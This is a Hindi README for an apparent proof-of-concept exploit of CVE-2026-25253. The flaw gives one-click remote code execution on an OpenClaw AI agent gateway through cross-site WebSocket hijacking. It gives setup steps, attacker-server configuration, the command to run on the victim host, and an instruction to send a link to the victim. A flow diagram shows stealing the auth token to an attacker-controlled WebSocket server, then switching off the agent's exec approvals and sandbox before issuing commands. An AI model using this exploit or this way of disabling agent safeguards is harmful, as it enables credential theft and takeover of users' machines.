
CVE-2026-25253 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो क्रॉस-साइट वेबसॉकेट हाईजैकिंग के माध्यम से OpenClaw पर वन-क्लिक RCE प्रदर्शित करता है। इसमें टोकन चुराने और कमांड निष्पादित करने के लिए अटैकर सर्वर और ब्राउज़र-आधारित पेलोड शामिल है।
क्रॉस-साइट वेबसॉकेट हाईजैकिंग के माध्यम से OpenClaw पर वन-क्लिक RCE।
अस्वीकरण: यह कोड केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस कोड का उपयोग अवैध और अनैतिक है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
इस भेद्यता के सोर्स-कोड-स्तरीय विश्लेषण और यह PoC कैसे बनाया गया, इसके लिए विस्तृत विश्लेषण पढ़ें।
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
https://nodejs.org/ से इंस्टॉलर डाउनलोड करें और निर्देशों का पालन करें।
इंस्टॉलेशन सत्यापित करें:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
यह केवल एक निर्भरता इंस्टॉल करता है: ws (वेबसॉकेट लाइब्रेरी)।
अपने वातावरण से मेल खाने के लिए exploit.html के शीर्ष को संपादित करें:
const LOCAL_SCHEME = 'http'; // पीड़ित के कंट्रोल UI का स्कीम
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // पीड़ित का लोकल गेटवे
const ATTACKER_WS_PORT = 8080; // हमलावर WS पोर्ट (attacker-server.js से मेल खाना चाहिए)
const ATTACKER_SCHEME = 'ws'; // TLS के पीछे होने पर 'wss' उपयोग करें
const COMMAND = 'touch /tmp/success'; // पीड़ित होस्ट पर निष्पादित करने के लिए कमांड
यदि आपको अलग पोर्ट चाहिए तो attacker-server.js के शीर्ष को संपादित करें:
const HTTP_PORT = 3000; // exploit.html परोसता है
const WS_PORT = 8080; // चुराए गए टोकन कैप्चर करता है
node attacker-server.js
आपको यह देखना चाहिए:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
पीड़ित को निम्नलिखित URL भेजें (<ATTACKER_IP> को अपने IP से बदलें):
http://<ATTACKER_IP>:3000/exploit.html
पीड़ित को इस लिंक को उस ब्राउज़र में खोलना चाहिए जहां उन्होंने पहले OpenClaw कंट्रोल UI का उपयोग किया है (ताकि ऑथ टोकन localStorage में मौजूद हो)।
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
पीड़ित मशीन पर, जांचें कि कमांड निष्पादित हुई या नहीं:
ls -la /tmp/success
| फ़ाइल | विवरण |
|---|---|
attacker-server.js | HTTP सर्वर (एक्सप्लॉइट पेज परोसता है) + वेबसॉकेट सर्वर (चुराए गए टोकन कैप्चर करता है) |
exploit.html | ब्राउज़र-आधारित एक्सप्लॉइट पेलोड जो टोकन चुराता है, वेबसॉकेट को हाईजैक करता है, सुरक्षा अक्षम करता है, और कमांड निष्पादित करता है |
package.json | Node.js निर्भरताएँ (ws) |